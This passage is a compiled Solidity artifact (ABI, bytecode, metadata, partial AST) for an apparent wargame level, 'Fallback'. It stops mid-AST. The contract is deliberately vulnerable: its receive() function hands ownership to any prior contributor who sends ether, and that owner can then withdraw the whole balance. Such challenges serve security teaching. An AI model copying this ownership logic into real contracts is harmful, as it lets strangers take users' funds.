+{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"receive","stateMutability":"payable"},{"type":"function","name":"contribute","inputs":[],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"contributions","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getContribution","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"withdraw","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b50600180546001600160a01b031916339081179091555f908152602081905260409020683635c9adc5dea00000905561032f8061004b5f395ff3fe60806040526004361061005b575f3560e01c80638da5cb5b116100415780638da5cb5b14610100578063d7bb99ba14610137578063f10fdf5c1461013f575f80fd5b80633ccfd60b146100ac57806342e94c90146100c2575f80fd5b366100a8575f3411801561007c5750335f9081526020819052604090205415155b610084575f80fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191633908117909155005b5f80fd5b3480156100b7575f80fd5b506100c061015f565b005b3480156100cd575f80fd5b506100ed6100dc36600461028e565b5f6020819052908152604090205481565b6040519081526020015b60405180910390f35b34801561010b575f80fd5b5060015461011f906001600160a01b031681565b6040516001600160a01b0390911681526020016100f7565b6100c0610210565b34801561014a575f80fd5b50335f908152602081905260409020546100ed565b6001546001600160a01b031633146101d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561020d573d5f803e3d5ffd5b50565b66038d7ea4c680003410610222575f80fd5b335f90815260208190526040812080543492906102409084906102bb565b90915550506001546001600160a01b03165f9081526020819052604080822054338352912054111561028c576001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b565b5f6020828403121561029e575f80fd5b81356001600160a01b03811681146102b4575f80fd5b9392505050565b808201808211156102f3577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b9291505056fea2646970667358221220da6be5c84540332154b3e10482c62beb46861f512f81969bbbfb64f70a04416f64736f6c63430008180033","sourceMap":"57:917:77:-:0;;;162:103;;;;;;;;;-1:-1:-1;186:5:77;:18;;-1:-1:-1;;;;;;186:18:77;194:10;186:18;;;;;;:5;214:25;;;;;;;;;;242:16;214:44;;57:917;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061005b575f3560e01c80638da5cb5b116100415780638da5cb5b14610100578063d7bb99ba14610137578063f10fdf5c1461013f575f80fd5b80633ccfd60b146100ac57806342e94c90146100c2575f80fd5b366100a8575f3411801561007c5750335f9081526020819052604090205415155b610084575f80fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191633908117909155005b5f80fd5b3480156100b7575f80fd5b506100c061015f565b005b3480156100cd575f80fd5b506100ed6100dc36600461028e565b5f6020819052908152604090205481565b6040519081526020015b60405180910390f35b34801561010b575f80fd5b5060015461011f906001600160a01b031681565b6040516001600160a01b0390911681526020016100f7565b6100c0610210565b34801561014a575f80fd5b50335f908152602081905260409020546100ed565b6001546001600160a01b031633146101d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561020d573d5f803e3d5ffd5b50565b66038d7ea4c680003410610222575f80fd5b335f90815260208190526040812080543492906102409084906102bb565b90915550506001546001600160a01b03165f9081526020819052604080822054338352912054111561028c576001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b565b5f6020828403121561029e575f80fd5b81356001600160a01b03811681146102b4575f80fd5b9392505050565b808201808211156102f3577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b9291505056fea2646970667358221220da6be5c84540332154b3e10482c62beb46861f512f81969bbbfb64f70a04416f64736f6c63430008180033","sourceMap":"57:917:77:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;902:1;890:9;:13;:46;;;;-1:-1:-1;921:10:77;935:1;907:25;;;;;;;;;;;:29;;890:46;882:55;;;;;;947:5;:18;;-1:-1:-1;;947:18:77;955:10;947:18;;;;;;;57:917;;;;739:100;;;;;;;;;;;;;:::i;:::-;;81:48;;;;;;;;;;-1:-1:-1;81:48:77;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;474:25:155;;;462:2;447:18;81:48:77;;;;;;;;135:20;;;;;;;;;;-1:-1:-1;135:20:77;;;;-1:-1:-1;;;;;135:20:77;;;;;;-1:-1:-1;;;;;674:55:155;;;656:74;;644:2;629:18;135:20:77;510:226:155;381:240:77;;;:::i;627:106::-;;;;;;;;;;-1:-1:-1;715:10:77;675:7;701:25;;;;;;;;;;;627:106;;739:100;324:5;;-1:-1:-1;;;;;324:5:77;310:10;:19;302:55;;;;;;;943:2:155;302:55:77;;;925:21:155;982:2;962:18;;;955:30;1021:25;1001:18;;;994:53;1064:18;;302:55:77;;;;;;;;794:5:::1;::::0;786:46:::1;::::0;-1:-1:-1;;;;;794:5:77;;::::1;::::0;810:21:::1;786:46:::0;::::1;;;::::0;794:5:::1;786:46:::0;794:5;786:46;810:21;794:5;786:46;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;739:100::o:0;381:240::-;448:11;436:9;:23;428:32;;;;;;484:10;470:13;:25;;;;;;;;;;:38;;499:9;;470:13;:38;;499:9;;470:38;:::i;:::-;;;;-1:-1:-1;;564:5:77;;-1:-1:-1;;;;;564:5:77;550:13;:20;;;;;;;;;;;;536:10;522:25;;;;;:48;518:97;;;586:5;:18;;-1:-1:-1;;586:18:77;594:10;586:18;;;518:97;381:240::o;14:309:155:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;-1:-1:-1;;;;;224:5:155;220:54;213:5;210:65;200:93;;289:1;286;279:12;200:93;312:5;14:309;-1:-1:-1;;;14:309:155:o;1093:279::-;1158:9;;;1179:10;;;1176:190;;;1222:77;1219:1;1212:88;1323:4;1320:1;1313:15;1351:4;1348:1;1341:15;1176:190;1093:279;;;;:::o","linkReferences":{}},"methodIdentifiers":{"contribute()":"d7bb99ba","contributions(address)":"42e94c90","getContribution()":"f10fdf5c","owner()":"8da5cb5b","withdraw()":"3ccfd60b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"contribute\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"contributions\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getContribution\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"withdraw\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Fallback.sol\":\"Fallback\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Fallback.sol\":{\"keccak256\":\"0xbfa1fed654c49a81e9322e75f29737db0b0118c710c81ffdd11ab5adc5ecc296\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d9bbffc872f54f79540ff741dc3a01487c13117743916f552e2888310994dc41\",\"dweb:/ipfs/QmXVRrTHXMz1UmXFswD7yRQCe9QeK8zRCHT4k3SnbpYcUS\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"payable","type":"function","name":"contribute"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"contributions","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getContribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"withdraw"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Fallback.sol":"Fallback"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Fallback.sol":{"keccak256":"0xbfa1fed654c49a81e9322e75f29737db0b0118c710c81ffdd11ab5adc5ecc296","urls":["bzz-raw://d9bbffc872f54f79540ff741dc3a01487c13117743916f552e2888310994dc41","dweb:/ipfs/QmXVRrTHXMz1UmXFswD7yRQCe9QeK8zRCHT4k3SnbpYcUS"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Fallback.sol","id":52372,"exportedSymbols":{"Fallback":[52371]},"nodeType":"SourceUnit","src":"32:943:77","nodes":[{"id":52247,"nodeType":"PragmaDirective","src":"32:23:77","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52371,"nodeType":"ContractDefinition","src":"57:917:77","nodes":[{"id":52251,"nodeType":"VariableDeclaration","src":"81:48:77","nodes":[],"constant":false,"functionSelector":"42e94c90","mutability":"mutable","name":"contributions","nameLocation":"116:13:77","scope":52371,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":52250,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":52248,"name":"address","nodeType":"ElementaryTypeName","src":"89:7:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"81:27:77","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":52249,"name":"uint256","nodeType":"ElementaryTypeName","src":"100:7:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":52253,"nodeType":"VariableDeclaration","src":"135:20:77","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"150:5:77","scope":52371,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52252,"name":"address","nodeType":"ElementaryTypeName","src":"135:7:77","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":52272,"nodeType":"FunctionDefinition","src":"162:103:77","nodes":[],"body":{"id":52271,"nodeType":"Block","src":"176:89:77","nodes":[],"statements":[{"expression":{"id":52259,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52256,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52253,"src":"186:5:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52257,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"194:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52258,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"198:6:77","memberName":"sender","nodeType":"MemberAccess","src":"194:10:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"186:18:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52260,"nodeType":"ExpressionStatement","src":"186:18:77"},{"expression":{"id":52269,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":52261,"name":"contributions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52251,"src":"214:13:77","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":52264,"indexExpression":{"expression":{"id":52262,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"228:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52263,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"232:6:77","memberName":"sender","nodeType":"MemberAccess","src":"228:10:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"214:25:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_rational_1000000000000000000000_by_1","typeString":"int_const 1000000000000000000000"},"id":52268,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"31303030","id":52265,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"242:4:77","typeDescriptions":{"typeIdentifier":"t_rational_1000_by_1","typeString":"int_const 1000"},"value":"1000"},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"components":[{"hexValue":"31","id":52266,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"250:7:77","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000000_by_1","typeString":"int_const 1000000000000000000"},"value":"1"}],"id":52267,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"249:9:77","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000000_by_1","typeString":"int_const 1000000000000000000"}},"src":"242:16:77","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000000000_by_1","typeString":"int_const 1000000000000000000000"}},"src":"214:44:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":52270,"nodeType":"ExpressionStatement","src":"214:44:77"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":52254,"nodeType":"ParameterList","parameters":[],"src":"173:2:77"},"returnParameters":{"id":52255,"nodeType":"ParameterList","parameters":[],"src":"176:0:77"},"scope":52371,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":52284,"nodeType":"ModifierDefinition","src":"271:104:77","nodes":[],"body":{"id":52283,"nodeType":"Block","src":"292:83:77","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":52275,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"310:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52276,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"314:6:77","memberName":"sender","nodeType":"MemberAccess","src":"310:10:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":52277,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52253,"src":"324:5:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"310:19:77","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"63616c6c6572206973206e6f7420746865206f776e6572","id":52279,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"331:25:77","typeDescriptions":{"typeIdentifier":"t_stringliteral_98821890c044d63947a93cf48b7df1f5a42f89e719dd7abbb581002b013b02f4","typeString":"literal_string \"caller is not the owner\""},"value":"caller is not the owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_98821890c044d63947a93cf48b7df1f5a42f89e719dd7abbb581002b013b02f4","typeString":"literal_string \"caller is not the owner\""}],"id":52274,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"302:7:77","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":52280,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"302:55:77","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52281,"nodeType":"ExpressionStatement","src":"302:55:77"},{"id":52282,"nodeType":"PlaceholderStatement","src":"367:1:77"}]},"name":"onlyOwner","nameLocation":"280:9:77","parameters":{"id":52273,"nodeType":"ParameterList","parameters":[],"src":"289:2:77"},"virtual":false,"visibility":"internal"},{"id":52318,"nodeType":"FunctionDefinition","src":"381:240:77","nodes":[],"body":{"id":52317,"nodeType":"Block","src":"418:203:77","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52291,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":52288,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"436:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52289,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"440:5:77","memberName":"value","nodeType":"MemberAccess","src":"436:9:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"302e303031","id":52290,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"448:11:77","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"},"src":"436:23:77","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52287,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"428:7:77","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"428:32:77","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52293,"nodeType":"ExpressionStatement","src":"428:32:77"},{"expression":{"id":52300,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":52294,"name":"contributions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52251,"src":"470:13:77","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":52297,"indexExpression":{"expression":{"id":52295,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"484:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"488:6:77","memberName":"sender","nodeType":"MemberAccess","src":"484:10:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"470:25:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"expression":{"id":52298,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"499:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52299,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"503:5:77","memberName":"value","nodeType":"MemberAccess","src":"499:9:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"470:38:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":52301,"nodeType":"ExpressionStatement","src":"470:38:77"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52309,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":52302,"name":"contributions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52251,"src":"522:13:77","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":52305,"indexExpression":{"expression":{"id":52303,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"536:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52304,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"540:6:77","memberName":"sender","nodeType":"MemberAccess","src":"536:10:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"522:25:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"baseExpression":{"id":52306,"name":"contributions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52251,"src":"550:13:77","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":52308,"indexExpression":{"id":52307,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52253,"src":"564:5:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"550:20:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"522:48:77","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52316,"nodeType":"IfStatement","src":"518:97:77","trueBody":{"id":52315,"nodeType":"Block","src":"572:43:77","statements":[{"expression":{"id":52313,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52310,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52253,"src":"586:5:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52311,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"594:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52312,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"598:6:77","memberName":"sender","nodeType":"MemberAccess","src":"594:10:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"586:18:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52314,"nodeType":"ExpressionStatement","src":"586:18:77"}]}}]},"functionSelector":"d7bb99ba","implemented":true,"kind":"function","modifiers":[],"name":"contribute","nameLocation":"390:10:77","parameters":{"id":52285,"nodeType":"ParameterList","parameters":[],"src":"400:2:77"},"returnParameters":{"id":52286,"nodeType":"ParameterList","parameters":[],"src":"418:0:77"},"scope":52371,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":52329,"nodeType":"FunctionDefinition","src":"627:106:77","nodes":[],"body":{"id":52328,"nodeType":"Block","src":"684:49:77","nodes":[],"statements":[{"expression":{"baseExpression":{"id":52323,"name":"contributions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52251,"src":"701:13:77","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":52326,"indexExpression":{"expression":{"id":52324,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"715:3:77","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52325,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"719:6:77","memberName":"sender","nodeType":"MemberAccess","src":"715:10:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"701:25:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":52322,"id":52327,"nodeType":"Return","src":"694:32:77"}]},"functionSelector":"f10fdf5c","implemented":true,"kind":"function","modifiers":[],"name":"getContribution","nameLocation":"636:15:77","parameters":{"id":52319,"nodeType":"ParameterList","parameters":[],"src":"651:2:77"},"returnParameters":{"id":52322,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52321,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52329,"src":"675:7:77","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52320,"name":"uint256","nodeType":"ElementaryTypeName","src":"675:7:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"674:9:77"},"scope":52371,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":52347,"nodeType":"FunctionDefinition","src":"739:100:77","nodes":[],"body":{"id":52346,"nodeType":"Block","src":"776:63:77","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"arguments":[{"id":52341,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"818:4:77","typeDescriptions":{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallback_$52371","typeString":"contract Fallback"}],"id":52340,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"810:7:77","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52339,"name":"address","nodeType":"ElementaryTypeName","src":"810:7:77","typeDescriptions":{}}},"id":52342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"810:13:77","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52343,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"824:7:77","memberName":"balance","nodeType":"MemberAccess","src":"810:21:77","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":52336,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52253,"src":"794:5:77","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":52335,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"786:8:77","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$